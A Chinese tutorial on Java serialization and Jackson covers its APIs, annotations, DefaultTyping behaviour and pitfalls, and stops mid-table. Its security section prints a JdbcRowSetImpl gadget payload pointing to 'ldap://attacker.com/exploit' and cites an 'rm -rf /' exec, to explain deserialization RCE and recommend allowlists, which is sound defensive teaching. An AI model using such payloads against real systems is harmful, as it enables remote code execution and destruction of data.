[{"content":"Java 序列化与反序列化：原理、Jackson 实战与避坑指南 一、序列化与反序列化基础 1.1 定义 序列化（Serialization）：将内存中的对象转换为可存储或可传输的数据格式（字节流、JSON、XML 等）的过程。 反序列化（Deserialization）：将存储或传输的数据格式还原为内存对象的逆过程。 TEXT 序列化 Object ──────► byte[] / JSON / XML / Protobuf ... 反序列化 Object ◄────── byte[] / JSON / XML / Protobuf ... 1.2 核心目的 场景 说明 持久化 将对象状态保存到磁盘、数据库 网络传输 RPC、HTTP API、消息队列中传递对象 进程间通信 跨 JVM 数据交换 深拷贝 通过序列化/反序列化实现对象深复制 缓存 Redis、Memcached 等存储 Java 对象 1.3 常见序列化方案对比 方案 格式 可读性 性能 跨语言 典型场景 JDK Serializable 二进制 ✗ 低 ✗ 遗留系统 JSON (Jackson/Gson) 文本 ✓ 中 ✓ REST API、配置 Protobuf 二进制 ✗ 高 ✓ gRPC、高性能 RPC Kryo 二进制 ✗ 高 ✗ Spark、Flink 内部 Hessian 二进制 ✗ 中 ✓ Dubbo Avro 二进制 ✗ 高 ✓ Kafka、大数据 1.4 序列化的本质问题 序列化不仅仅是\u0026quot;转格式\u0026quot;，需要解决以下核心问题：\n类型信息保留：反序列化时如何还原出正确的类型？ 引用与循环：对象图中存在循环引用怎么办？ 版本兼容：类结构变更后旧数据能否正确反序列化？ 多态还原：接口/父类引用指向的实际子类如何恢复？ 安全性：反序列化是否会执行恶意代码？ 二、Jackson 概述 Jackson 是 Java 生态中使用最广泛的 JSON 处理库，被 Spring Boot 作为默认 JSON 序列化方案。其核心由三个模块组成：\n模块 说明 jackson-core 底层流式 API（JsonParser / JsonGenerator） jackson-annotations 注解定义（@JsonProperty, @JsonIgnore 等） jackson-databind 高层数据绑定（ObjectMapper） Jackson 提供三个层次的 API，抽象程度依次递增：\nTEXT┌─────────────────────────────────────────────┐ │ ObjectMapper (Data Binding) │ ← 最常用 │ 直接 Java Object ↔ JSON │ ├─────────────────────────────────────────────┤ │ TreeModel (JsonNode) │ ← 灵活操作 │ 类似 DOM，按节点读写 │ ├─────────────────────────────────────────────┤ │ Streaming API (JsonParser/JsonGenerator) │ ← 最高性能 │ 逐 Token 读写，内存占用最低 │ └─────────────────────────────────────────────┘ 三、Jackson 三层 API 详解 3.1 Streaming API（流式 API） 逐 Token 解析/生成 JSON，性能最高，但使用繁琐，适合超大文件或极致性能场景。\n序列化：\nJAVAJsonFactory factory = new JsonFactory(); StringWriter writer = new StringWriter(); try (JsonGenerator gen = factory.createGenerator(writer)) { gen.writeStartObject(); // { gen.writeStringField(\u0026#34;name\u0026#34;, \u0026#34;Alice\u0026#34;); // \u0026#34;name\u0026#34;: \u0026#34;Alice\u0026#34; gen.writeNumberField(\u0026#34;age\u0026#34;, 30); // \u0026#34;age\u0026#34;: 30 gen.writeFieldName(\u0026#34;skills\u0026#34;); // \u0026#34;skills\u0026#34;: gen.writeStartArray(); // [ gen.writeString(\u0026#34;Java\u0026#34;); // \u0026#34;Java\u0026#34; gen.writeString(\u0026#34;Kotlin\u0026#34;); // \u0026#34;Kotlin\u0026#34; gen.writeEndArray(); // ] gen.writeEndObject(); // } } // 输出: {\u0026#34;name\u0026#34;:\u0026#34;Alice\u0026#34;,\u0026#34;age\u0026#34;:30,\u0026#34;skills\u0026#34;:[\u0026#34;Java\u0026#34;,\u0026#34;Kotlin\u0026#34;]} 反序列化：\nJAVAString json = \u0026#34;{\\\u0026#34;name\\\u0026#34;:\\\u0026#34;Alice\\\u0026#34;,\\\u0026#34;age\\\u0026#34;:30}\u0026#34;; try (JsonParser parser = factory.createParser(json)) { while (parser.nextToken() != null) { if (parser.currentToken() == JsonToken.FIELD_NAME) { String field = parser.currentName(); parser.nextToken(); // 移到值 switch (field) { case \u0026#34;name\u0026#34; -\u0026gt; System.out.println(\u0026#34;Name: \u0026#34; + parser.getText()); case \u0026#34;age\u0026#34; -\u0026gt; System.out.println(\u0026#34;Age: \u0026#34; + parser.getIntValue()); } } } } 3.2 Tree Model（树模型） 将 JSON 解析为 JsonNode 树结构，适合结构不确定或只需部分字段的场景。\nJAVAObjectMapper mapper = new ObjectMapper(); // 解析为树 JsonNode root = mapper.readTree(\u0026#34;{\\\u0026#34;name\\\u0026#34;:\\\u0026#34;Alice\\\u0026#34;,\\\u0026#34;address\\\u0026#34;:{\\\u0026#34;city\\\u0026#34;:\\\u0026#34;Beijing\\\u0026#34;}}\u0026#34;); // 读取字段 String name = root.get(\u0026#34;name\u0026#34;).asText(); // \u0026#34;Alice\u0026#34; String city = root.path(\u0026#34;address\u0026#34;).path(\u0026#34;city\u0026#34;).asText(); // \u0026#34;Beijing\u0026#34; // 构建树 ObjectNode node = mapper.createObjectNode(); node.put(\u0026#34;id\u0026#34;, 1); node.putArray(\u0026#34;tags\u0026#34;).add(\u0026#34;java\u0026#34;).add(\u0026#34;jackson\u0026#34;); String json = mapper.writeValueAsString(node); // {\u0026#34;id\u0026#34;:1,\u0026#34;tags\u0026#34;:[\u0026#34;java\u0026#34;,\u0026#34;jackson\u0026#34;]} get() 在字段不存在时返回 null；path() 返回 MissingNode（不会 NPE），推荐使用 path()。\n3.3 Data Binding（数据绑定） 最常用的方式，直接在 Java 对象与 JSON 之间互转。\nJAVAObjectMapper mapper = new ObjectMapper(); // 序列化 User user = new User(\u0026#34;Alice\u0026#34;, 30); String json = mapper.writeValueAsString(user); // 反序列化 User parsed = mapper.readValue(json, User.class); // 复杂泛型使用 TypeReference String jsonArray = \u0026#34;[{\\\u0026#34;name\\\u0026#34;:\\\u0026#34;Alice\\\u0026#34;,\\\u0026#34;age\\\u0026#34;:30}]\u0026#34;; List\u0026lt;User\u0026gt; users = mapper.readValue(jsonArray, new TypeReference\u0026lt;List\u0026lt;User\u0026gt;\u0026gt;() {}); 四、Jackson 核心注解 4.1 字段控制 注解 作用 示例 @JsonProperty(\u0026quot;name\u0026quot;) 指定 JSON 字段名 @JsonProperty(\u0026quot;user_name\u0026quot;) @JsonIgnore 忽略该字段 密码字段不序列化 @JsonIgnoreProperties 类级别忽略多个字段 @JsonIgnoreProperties({\u0026quot;temp\u0026quot;, \u0026quot;internal\u0026quot;}) @JsonInclude 控制空值/默认值是否序列化 @JsonInclude(Include.NON_NULL) @JsonFormat 格式化日期等 @JsonFormat(pattern = \u0026quot;yyyy-MM-dd\u0026quot;) 4.2 构造与创建 JAVApublic class User { private String name; private int age; // 指定反序列化使用的构造器 @JsonCreator public User(@JsonProperty(\u0026#34;name\u0026#34;) String name, @JsonProperty(\u0026#34;age\u0026#34;) int age) { this.name = name; this.age = age; } } (注：如果在 JDK 8+ 编译时开启了 -parameters 参数并注册了 ParameterNamesModule，则可以省略构造器参数上的 @JsonProperty 标注。)\n注意：Jackson 默认使用无参构造器 + setter 进行反序列化。若类没有无参构造器（如 Lombok 的 @AllArgsConstructor），必须使用 @JsonCreator 或添加 @NoArgsConstructor。\nJackson 2.18+ 变更：2.18 版本收紧了构造器自动检测策略。旧版本在多构造器场景下会\u0026quot;尝试猜测\u0026quot;使用哪个构造器，某些未标注 @JsonCreator 的类碰巧也能反序列化成功。2.18 起不再依赖这种启发式猜测，若存在多个构造器且无显式标注，将直接抛出 MismatchedInputException: Cannot deserialize from Object value (no delegate- or property-based Creator)。建议：始终显式标注 @JsonCreator，或提供无参构造器，不要依赖自动检测的隐式行为。\n4.3 多态类型处理 JAVA@JsonTypeInfo( use = JsonTypeInfo.Id.NAME, // 使用逻辑名称 include = JsonTypeInfo.As.PROPERTY, // 作为 JSON 属性写入 property = \u0026#34;type\u0026#34; // 属性名为 \u0026#34;type\u0026#34; ) @JsonSubTypes({ @JsonSubTypes.Type(value = Dog.class, name = \u0026#34;dog\u0026#34;), @JsonSubTypes.Type(value = Cat.class, name = \u0026#34;cat\u0026#34;) }) public abstract class Animal { public String name; } public class Dog extends Animal { public String breed; } public class Cat extends Animal { public boolean indoor; } 序列化结果：\nJSON{\u0026#34;type\u0026#34;: \u0026#34;dog\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;Buddy\u0026#34;, \u0026#34;breed\u0026#34;: \u0026#34;Labrador\u0026#34;} 4.4 自定义序列化/反序列化 JAVApublic class MoneySerializer extends JsonSerializer\u0026lt;BigDecimal\u0026gt; { @Override public void serialize(BigDecimal value, JsonGenerator gen, SerializerProvider provider) throws IOException { gen.writeString(value.setScale(2, RoundingMode.HALF_UP).toString()); } } // 使用 public class Order { @JsonSerialize(using = MoneySerializer.class) @JsonDeserialize(using = MoneyDeserializer.class) private BigDecimal amount; } 五、ObjectMapper 高级配置 5.1 常用配置项 JAVAObjectMapper mapper = new ObjectMapper(); // 反序列化时忽略 JSON 中存在但 Java 对象中不存在的字段 mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false); // 空对象不报错 mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false); // 日期不序列化为时间戳 mapper.configure(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS, false); // 允许单引号 mapper.configure(JsonParser.Feature.ALLOW_SINGLE_QUOTES, true); // 允许无引号的字段名 mapper.configure(JsonParser.Feature.ALLOW_UNQUOTED_FIELD_NAMES, true); // 注册 Java 8 时间模块 mapper.registerModule(new JavaTimeModule()); 5.2 全局序列化策略 JAVA// 全局忽略 null 值 mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL); // 驼峰转下划线 mapper.setPropertyNamingStrategy(PropertyNamingStrategies.SNAKE_CASE); // 注册自定义模块 SimpleModule module = new SimpleModule(); module.addSerializer(LocalDate.class, new LocalDateSerializer()); module.addDeserializer(LocalDate.class, new LocalDateDeserializer()); mapper.registerModule(module); 5.3 ObjectMapper 线程安全与最佳实践 ObjectMapper 是线程安全的（前提是配置完成后不再修改），应在应用中作为单例复用：\nJAVA// ✓ 正确：全局单例 public class JsonUtil { private static final ObjectMapper MAPPER = new ObjectMapper(); public static String toJson(Object obj) throws JsonProcessingException { return MAPPER.writeValueAsString(obj); } } // ✗ 错误：每次创建新实例，浪费资源 public String convert(Object obj) throws JsonProcessingException { return new ObjectMapper().writeValueAsString(obj); } 六、Default Typing：多态序列化的双刃剑 6.1 问题场景 当容器声明为 Object、Map\u0026lt;String, Object\u0026gt; 等宽泛类型时，JSON 中不包含类型信息，反序列化时 Jackson 无法知道原始类型：\nJAVAMap\u0026lt;String, Object\u0026gt; data = Map.of(\u0026#34;user\u0026#34;, new User(\u0026#34;Alice\u0026#34;, 30)); String json = mapper.writeValueAsString(data); // {\u0026#34;user\u0026#34;: {\u0026#34;name\u0026#34;: \u0026#34;Alice\u0026#34;, \u0026#34;age\u0026#34;: 30}} // 反序列化时 Jackson 不知道 \u0026#34;user\u0026#34; 对应 User 类，会降级为 LinkedHashMap 6.2 activateDefaultTyping activateDefaultTyping 在序列化时自动为指定范围的类型写入类名信息（如 @class），反序列化时据此还原真实类型：\nJAVAObjectMapper mapper = new ObjectMapper(); mapper.activateDefaultTyping( LaissezFaireSubTypeValidator.instance, // 类型验证器 ObjectMapper.DefaultTyping.NON_FINAL, // 对非 final 类型启用 JsonTypeInfo.As.PROPERTY // 类型信息作为 JSON 属性 ); 启用后，序列化输出会附带 @class 属性：\nJSON{ \u0026#34;@class\u0026#34;: \u0026#34;com.example.User\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;Alice\u0026#34;, \u0026#34;age\u0026#34;: 30 } 实战注：在 Spring Boot 整合 Redis 缓存时常用的 GenericJackson2JsonRedisSerializer，其底层机制就是在序列化时强制将对象的类型信息写入 JSON（类似于开启了 DefaultTyping）。这也是为什么我们在 Redis 中常会看到大量包含 @class （或者 @type）属性的 JSON。这一反序列化机制在历史上也是引发 Spring、Fastjson 等框架 RCE 漏洞的重灾区。\n6.3 DefaultTyping 的四种级别 级别 说明 JAVA_LANG_OBJECT 仅对声明为 Object 的字段启用 OBJECT_AND_NON_CONCRETE Object + 抽象类/接口 NON_CONCRETE_AND_ARRAYS 抽象类/接口 + 数组 NON_FINAL 对所有非 final 类型启用（最激进） 6.4 JsonTypeInfo.As 类型写入方式 方式 JSON 结构 说明 PROPERTY {\u0026quot;@class\u0026quot;:\u0026quot;...\u0026quot;, \u0026quot;name\u0026quot;:\u0026quot;...\u0026quot;} 作为普通属性 WRAPPER_ARRAY [\u0026quot;com.example.User\u0026quot;, {\u0026quot;name\u0026quot;:\u0026quot;...\u0026quot;}] 包装为数组 WRAPPER_OBJECT {\u0026quot;com.example.User\u0026quot;: {\u0026quot;name\u0026quot;:\u0026quot;...\u0026quot;}} 包装为对象 EXISTING_PROPERTY 使用已有属性 适合已有 type 字段 七、Jackson 常见问题与注意事项 7.1 类型信息缺失导致降级为 LinkedHashMap 原因：当 Jackson 反序列化时缺少静态的目标类型信息（如泛型被擦除，或声明为 Object），并且 JSON 数据中也没有提供动态类型标识（如没有 @class）时，它无法将 JSON 对象映射为具体的 Java 类。此时为了保证解析不中断，Jackson 只能采用默认的反序列化策略——将 JSON 对象 {} 宽泛地映射为 LinkedHashMap，将 JSON 数组 [] 映射为 ArrayList。\n常见触发场景（未配置 DefaultTyping 时）：\n场景 说明 使用原始类型 Map.class 泛型擦除，Jackson 不知道 value 是什么类型 泛型嵌套太深或声明为 Object 如 Map\u0026lt;String, Object\u0026gt;，其包含的 POJO 反序列化必定降级 缺少具体类信息 顶级对象直接反序列化为 Object.class JAVAObjectMapper mapper = new ObjectMapper(); User user = new User(\u0026#34;Alice\u0026#34;, 30); String json = mapper.writeValueAsString(user); // {\u0026#34;name\u0026#34;:\u0026#34;Alice\u0026#34;,\u0026#34;age\u0026#34;:30} // 反序列化到 Map → User 整个变成 LinkedHashMap Map\u0026lt;String, Object\u0026gt; result = mapper.readValue(json, Map.class); // result 不是 User，而是 LinkedHashMap{name=Alice, age=30} // 嵌套结构同样降级 record OrderItem(String name) {} record Order(String id, List\u0026lt;OrderItem\u0026gt; items) {} Order order = new Order(\u0026#34;1\u0026#34;, List.of(new OrderItem(\u0026#34;Apple\u0026#34;))); String json2 = mapper.writeValueAsString(order); Map\u0026lt;String, Object\u0026gt; map = mapper.readValue(json2, Map.class); Object item = ((List\u0026lt;?\u0026gt;) map.get(\u0026#34;items\u0026#34;)).get(0); System.out.println(item.getClass()); // java.util.LinkedHashMap ← 不是 OrderItem OrderItem i = (OrderItem) item; // 💥 ClassCastException 解决方案：反序列化时指定具体类型，或使用 TypeReference 保留泛型信息：\nJAVA// ✓ 直接指定目标类 User user = mapper.readValue(json, User.class); // ✓ 泛型容器使用 TypeReference Order result = mapper.readValue(json2, new TypeReference\u0026lt;Order\u0026gt;() {}); Map\u0026lt;String, List\u0026lt;OrderItem\u0026gt;\u0026gt; mapList = mapper.readValue(json2, new TypeReference\u0026lt;Map\u0026lt;String, List\u0026lt;OrderItem\u0026gt;\u0026gt;\u0026gt;() {}); 7.2 NON_FINAL 下 @class 的写入规则 DefaultTyping.NON_FINAL 是否写入 @class 取决于序列化上下文，需要区分两种情况：\n规则一：顶层序列化——根据运行时类型判断。\nJAVAObjectMapper mapper = new ObjectMapper(); mapper.activateDefaultTyping( LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY ); record B(String name) {} // 隐式 final Object o = new B(\u0026#34;b1\u0026#34;); mapper.writeValueAsString(o); // B 是 final → 不写入 @class // {\u0026#34;name\u0026#34;:\u0026#34;b1\u0026#34;} 顶层调用 writeValueAsString(Object) 时，由于没有“包含它的外层结构”（它不是任何类的字段），Jackson 无法获取任何“声明类型”。它只能通过 value.getClass() 取到运行时类型 B.class。因为 B 是 record（隐式 final），被 NON_FINAL 过滤，所以不写入 @class。\n规则二：类 / record 字段的值——根据字段的声明类型判断。\n底层原理：当 Jackson 构建 POJO 序列化器时，会扫描类的所有属性。如果某字段（如 Object field）的字面声明类型（Object.class）是非 final 的，Jackson 会在初始化阶段顺理成章地给这个字段挂载一个类型序列化器（TypeSerializer）。 在运行时，这个挂载好的 TypeSerializer 会无条件地提取当前实际对象的类名并输出为 @class，此时它根本不在乎实际塞入的 B 对象是否为 final。\n(注：Java 泛型信息保留在类的字节码字段签名中，因此 Jackson 可以通过反射完美读取到诸如 List\u0026lt;Object\u0026gt; 或 List\u0026lt;B\u0026gt; 这样的泛型声明，并据此决定是否挂载 TypeSerializer。)\nJAVArecord B(String name) {} // 隐式 final // 字段类型 List\u0026lt;Object\u0026gt;：元素声明类型为 Object（非 final）→ 写入 B 的 @class record A1(String id, List\u0026lt;Object\u0026gt; list) {} // 字段类型 List\u0026lt;B\u0026gt;：元素声明类型为 B（final）→ 不写入 B 的 @class record A2(String id, List\u0026lt;B\u0026gt; list) {} mapper.writeValueAsString(new A1(\u0026#34;1\u0026#34;, new ArrayList\u0026lt;\u0026gt;(List.of(new B(\u0026#34;b1\u0026#34;))))); // list 内的 B 有 @class ✓ mapper.writeValueAsString(new A2(\u0026#34;1\u0026#34;, new ArrayList\u0026lt;\u0026gt;(List.of(new B(\u0026#34;b1\u0026#34;))))); // list 内的 B 没有 @class ✗ 同理，对于带泛型的字段，只要泛型的实参（如 Map 的 value 位置）是非 final 的，该位置的值也会写入 @class：\nJAVA// 字段类型 Map\u0026lt;String, Object\u0026gt;：value 声明类型为 Object（非 final）→ 写入 B 的 @class record A3(Map\u0026lt;String, Object\u0026gt; map) {} mapper.writeValueAsString(new A3(Map.of(\u0026#34;b\u0026#34;, new B(\u0026#34;b1\u0026#34;)))); // {\u0026#34;map\u0026#34;: {\u0026#34;b\u0026#34;: {\u0026#34;@class\u0026#34;:\u0026#34;...B\u0026#34;, \u0026#34;name\u0026#34;:\u0026#34;b1\u0026#34;}}} ✓ 有 @class ⚠️ 注意：顶层局部容器的泛型擦除\n如果你直接将局部变量容器传给 Jackson：\nJAVAMap\u0026lt;String, B\u0026gt; map = new HashMap\u0026lt;\u0026gt;(); map.put(\u0026#34;b\u0026#34;, new B(\u0026#34;b1\u0026#34;)); mapper.writeValueAsString(map); // {\u0026#34;@class\u0026#34;:\u0026#34;java.util.HashMap\u0026#34;, \u0026#34;b\u0026#34;: {\u0026#34;@class\u0026#34;:\u0026#34;...B\u0026#34;, \u0026#34;name\u0026#34;:\u0026#34;b1\u0026#34;}} 你会发现不仅 B 有 @class，连最外层的 HashMap 也有！ 这是因为 writeValueAsString(Object value) 方法签名只接收 Object。Java 在方法传参时将局部变量的泛型 \u0026lt;String, B\u0026gt; 彻底擦除。Jackson 收到的仅仅是一个光秃秃的 HashMap。它只能使用兜底策略：把内部元素默认当作 Object 处理。因为 Object 是非 final 的，它无条件触发了里面 B 元素的类型写入。\n破局方法：若要消除这种顶层序列化带来的意外 @class，必须手动“喂”给它被擦除的静态泛型信息： mapper.writerFor(new TypeReference\u0026lt;Map\u0026lt;String, B\u0026gt;\u0026gt;() {}).writeValueAsString(map);\nTEXT **完整规则总结**： | 场景 | 判断依据 | record B 是否有 @class | |------|----------|----------------------| | `mapper.writeValueAsString(new B(...))` | 运行时类型 B（final） | ✗ | | 字段类型 `Map\u0026lt;String, Object\u0026gt;` 内的 B | 字段 value 类型 Object（非 final） | ✓ | | 字段类型 `List\u0026lt;Object\u0026gt;` 内的 B | 字段元素类型 Object（非 final） | ✓ | | 字段类型 `List\u0026lt;B\u0026gt;` 内的 B | 字段元素类型 B（final） | ✗ | | 字段类型 `Object field` | 字段声明类型 Object（非 final） | ✓ | | 字段类型 `B field` | 字段声明类型 B（final） | ✗ | \u0026gt; `List.of()` / `Map.of()` 返回的集合实现类也是 final 的。当它们作为顶层对象或 final 声明类型的字段值时，同样不会写入 `@class`。 **`List.of()` / `Map.of()` 与 `new ArrayList\u0026lt;\u0026gt;()` / `new HashMap\u0026lt;\u0026gt;()` 的区别**： 同样的规则也适用于集合对象自身。Java 9+ 的工厂方法返回的是 JDK 内部的 final 实现类，而传统构造方式返回的是非 final 类： | 工厂方法 | 实际返回类型 | final? | NON_FINAL 写 @class? | |----------|-------------|--------|----------------------| | `List.of(...)` | `ImmutableCollections$ListN` / `List12` | ✓ | ✗ | | `Map.of(...)` | `ImmutableCollections$MapN` / `Map1` | ✓ | ✗ | | `new ArrayList\u0026lt;\u0026gt;()` | `ArrayList` | ✗ | ✓ | | `new HashMap\u0026lt;\u0026gt;()` | `HashMap` | ✗ | ✓ | 在需要 DefaultTyping 保留集合类型信息的场景下（如状态持久化），应使用 `new ArrayList\u0026lt;\u0026gt;()` / `new HashMap\u0026lt;\u0026gt;()` 而非 `List.of()` / `Map.of()`，否则反序列化时可能因缺少 `@class` 而无法还原正确的集合类型。 **针对以上 NON_FINAL 失效场景的综合解决方案**： 1. **针对带泛型的容器（避开元素无 @class）**：确保声明的泛型实参是非 final 的（如使用 `List\u0026lt;Object\u0026gt;` 而非 `List\u0026lt;B\u0026gt;`）。 2. **针对 record 等 final 类（避开自身无 @class）**：在 `record` 上显式标注 `@JsonTypeInfo`，强制写入类型信息： ```java // 注：若 JSON 可能来自前端或外部系统（它们一般不会传 @class），强烈建议配置 defaultImpl 兜底，否则会抛 InvalidTypeIdException @JsonTypeInfo( use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.PROPERTY, property = \u0026#34;@class\u0026#34;, defaultImpl = B.class // 兜底策略 ) record B(String name) {} ``` 3. **针对顶层序列化（泛型彻底被擦除）**：避免依赖 `DefaultTyping`，改用具体类型 + `TypeReference` 进行序列化和反序列化。 4. **针对集合自身类型丢失**：需要持久化具体集合类型时，彻底弃用 `List.of()` / `Map.of()`，改用普通的 `new ArrayList\u0026lt;\u0026gt;()` / `new HashMap\u0026lt;\u0026gt;()`。 ### 7.3 反序列化安全漏洞（RCE） DefaultTyping 最严重的风险不是功能问题，而是**安全漏洞**。 **原因**：开启 DefaultTyping 后，Jackson 会根据 JSON 中的 `@class` 字段实例化对应的 Java 类。如果攻击者能控制输入 JSON（如来自 HTTP 请求、消息队列），就可以构造恶意 `@class` 指向 JDK 或第三方库中的危险类，触发**远程代码执行（RCE）**。 ```json { \u0026#34;@class\u0026#34;: \u0026#34;com.sun.rowset.JdbcRowSetImpl\u0026#34;, \u0026#34;dataSourceName\u0026#34;: \u0026#34;ldap://attacker.com/exploit\u0026#34;, \u0026#34;autoCommit\u0026#34;: true } 黑客在这里巧妙利用了 Jackson 会自动调用对象 setter 方法的特性，上述 JSON 反序列化时的攻击链如下：\n无心实例化：Jackson 读取到 @class，毫不知情地实例化了 JDK 内置的类 JdbcRowSetImpl。 埋下炸弹：通过反射调用 setDataSourceName(\u0026quot;ldap://attacker.com/exploit\u0026quot;)，将黑客的恶意 LDAP 链接存入内部变量。 引爆机关：调用 setAutoCommit(true)。在 JDK 源码中，该 setter 会触发数据库属性应用逻辑，被迫向刚才存入的 ldap 地址发起 JNDI 查找请求。 核弹爆炸（RCE）：黑客的 LDAP 服务器响应并下发一段恶意的 Java 字节码。受害者服务器接收后立刻将其作为类加载并执行本地初始化代码（如隐藏在静态代码块中的 Runtime.getRuntime().exec(\u0026quot;rm -rf /\u0026quot;)），导致服务器彻底沦陷。 历史上大量 Jackson CVE 都与此相关（CVE-2017-7525、CVE-2019-12384 等），Jackson 维护了一份黑名单持续封堵危险类，但这是一场永无止境的军备竞赛。\n解决方案：\n不要使用 LaissezFaireSubTypeValidator（绕过所有校验），生产环境必须用白名单： JAVAPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder() .allowIfBaseType(\u0026#34;com.myapp.model.\u0026#34;) // 只允许指定包下的类 .allowIfSubType(\u0026#34;java.util.ArrayList\u0026#34;) .build(); mapper.activateDefaultTyping(ptv, ObjectMapper.DefaultTyping.NON_FINAL); 优先使用 @JsonTypeInfo + @JsonSubTypes（显式白名单），而非全局 DefaultTyping； 外部输入不要开启 DefaultTyping：对外暴露的 API 使用普通 ObjectMapper，只在内部持久化（Redis、数据库）场景使用。 7.4 @class 与类结构的强耦合 原因：JsonTypeInfo.Id.CLASS 将全限定类名（如 com.example.model.User）写入 JSON。这意味着 JSON 数据与 Java 的包结构和类名产生了强绑定。一旦重构（重命名类、移动包路径），所有已持久化的 JSON 数据将无法反序列化。\nTEXT重命名 com.example.model.User → com.example.domain.User ↓ 已存入 Redis/DB 的 JSON 仍包含 \u0026#34;@class\u0026#34;: \u0026#34;com.example.model.User\u0026#34; ↓ 反序列化失败 💥 解决方案：\n使用 JsonTypeInfo.Id.NAME 代替 Id.CLASS，以逻辑名称解耦： JAVA@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, property = \u0026#34;type\u0026#34;) @JsonSubTypes({ @JsonSubTypes.Type(value = Dog.class, name = \u0026#34;dog\u0026#34;), @JsonSubTypes.Type(value = Cat.class, name = \u0026#34;cat\u0026#34;) }) public abstract class Animal {} // JSON: {\u0026#34;type\u0026#34;: \u0026#34;dog\u0026#34;, ...} ← 不暴露内部类名，重构不受影响 若必须使用 Id.CLASS，重构时通过 @JsonTypeName 或自定义 TypeIdResolver 做新旧类名映射。 7.5 集合类型的 Wrapper Array 格式 activateDefaultTyping 对集合类型（如 ArrayList）也会写入类型信息。对于 Object/Map 等结构体，Jackson 可以直接插入 @class 属性（As.PROPERTY）。但 JSON 数组 [...] 没有属性的概念，无法直接附加 @class，因此 Jackson 会自动降级为 WRAPPER_ARRAY 格式——在数组外层再包一层数组，第一个元素为类名，第二个元素为实际数据。\n这是 Jackson 的正常设计行为，目的是在 JSON 数组上也能携带类型信息，确保反序列化时能还原出 ArrayList 而非其他 List 实现。\nJAVAObjectMapper mapper = new ObjectMapper(); mapper.activateDefaultTyping( LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY ); A3 a = new A3(\u0026#34;1\u0026#34;, new ArrayList\u0026lt;\u0026gt;(List.of(new B3(\u0026#34;b1\u0026#34;)))); String json = mapper.writeValueAsString(a); 输出：\nJSON{ \u0026#34;@class\u0026#34;: \u0026#34;com.example.A3\u0026#34;, \u0026#34;id\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;list\u0026#34;: [\u0026#34;java.util.ArrayList\u0026#34;, [ { \u0026#34;@class\u0026#34;: \u0026#34;com.example.B3\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;b1\u0026#34; } ]] } 在 Java ↔ Java 的闭环系统中（如 Redis 缓存、消息队列状态持久化），这种格式完全没有问题——序列化和反序列化都由 Jackson 处理，类型信息可以正确还原。\n但在跨系统场景中会带来问题：\n前端/其他语言消费端无法理解 [\u0026quot;java.util.ArrayList\u0026quot;, [...]] 结构，期望的是标准的 JSON 数组 [...]； JSON Schema 校验会失败，因为 list 字段不再是数组类型； 嵌套层次增加，可读性下降，JSON 体积增大。 解决方案：如果不需要保留集合的具体实现类型（大多数情况下 ArrayList 和 LinkedList 对业务无差别），可自定义 DefaultTypeResolverBuilder，跳过集合和 Map 类型的类型写入。\n八、生产级方案：自定义 TypeResolver 在 Spring AI、LangGraph4j 等框架中，通常需要结合 DefaultTyping 来持久化含多态对象的状态（如 Message 子类），同时又要规避集合 Wrapper Array、安全风险等问题。其核心手段是自定义 DefaultTypeResolverBuilder，精确控制哪些类型需要写入 @class：\nJAVA// 生产环境务必配置白名单，避免使用全局放行的 LaissezFaireSubTypeValidator PolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder() .allowIfBaseType(\u0026#34;com.example.myapp.\u0026#34;) // 替换为真实的业务包路径 .build(); ObjectMapper.DefaultTypeResolverBuilder typeResolver = new ObjectMapper.DefaultTypeResolverBuilder( ObjectMapper.DefaultTyping.NON_FINAL, ptv ) { @Override public boolean useForType(JavaType t) { // 1. 跳过 Map 和 Collection 类型 → 避免 Wrapper Array if (t.isTypeOrSubTypeOf(Map.class) || t.isMapLikeType() || t.isCollectionLikeType() || t.isTypeOrSubTypeOf(Collection.class) || t.isArrayType()) { return false; } // 2. 跳过非静态内部类、局部类、匿名类 // 这些类无法被 Jackson 反序列化（需要外部类实例） Class\u0026lt;?\u0026gt; rawClass = t.getRawClass(); if (rawClass != null) { if (rawClass.isMemberClass() \u0026amp;\u0026amp; !Modifier.isStatic(rawClass.getModifiers())) { return false; } if (rawClass.isLocalClass() || rawClass.isAnonymousClass()) { return false; } } return super.useForType(t); } }; // 配置类型解析器 typeResolver.init(JsonTypeInfo.Id.CLASS, null); typeResolver.inclusion(JsonTypeInfo.As.PROPERTY); typeResolver.typeProperty(\u0026#34;@class\u0026#34;); mapper.setDefaultTyping(typeResolver); 效果：\nList、Map 等集合不再被包装为 [\u0026quot;java.util.ArrayList\u0026quot;, [...]]； POJO 依然携带 @class 信息，多态反序列化正常工作； 匿名类/内部类被排除，避免无法反序列化的运行时错误。 此外，通过 Jackson 原生的特性，还可以为特定类型的多态对象自定义简洁且安全的短名称：\nJAVA// 避开全限定类名，为特定类型注册简短的逻辑名称（会作为 @class 的值输出） mapper.registerSubtypes( new NamedType(UserMessage.class, MessageType.USER.name()), new NamedType(SystemMessage.class, MessageType.SYSTEM.name()), new NamedType(AssistantMessage.class, MessageType.ASSISTANT.name()) ); 九、最佳实践清单 9.1 ObjectMapper 配置 实践 说明 全局单例 ObjectMapper 线程安全，避免重复创建 关闭未知属性异常 FAIL_ON_UNKNOWN_PROPERTIES = false，提高兼容性 注册 JavaTimeModule 正确处理 LocalDate、Instant 等 Java 8 时间类型 关闭时间戳模式 WRITE_DATES_AS_TIMESTAMPS = false，输出 ISO 格式 设置 NON_NULL 全局忽略 null 字段，减少 JSON 体积 9.2 类型安全 实践 说明 使用 TypeReference 反序列化泛型时必须使用，否则泛型擦除导致类型丢失 避免 Object 容器 Map\u0026lt;String, Object\u0026gt; 是类型降级的温床 record 慎用 DefaultTyping record 是 final 的，DefaultTyping 不会写入 @class 生产/消费配置一致 两端 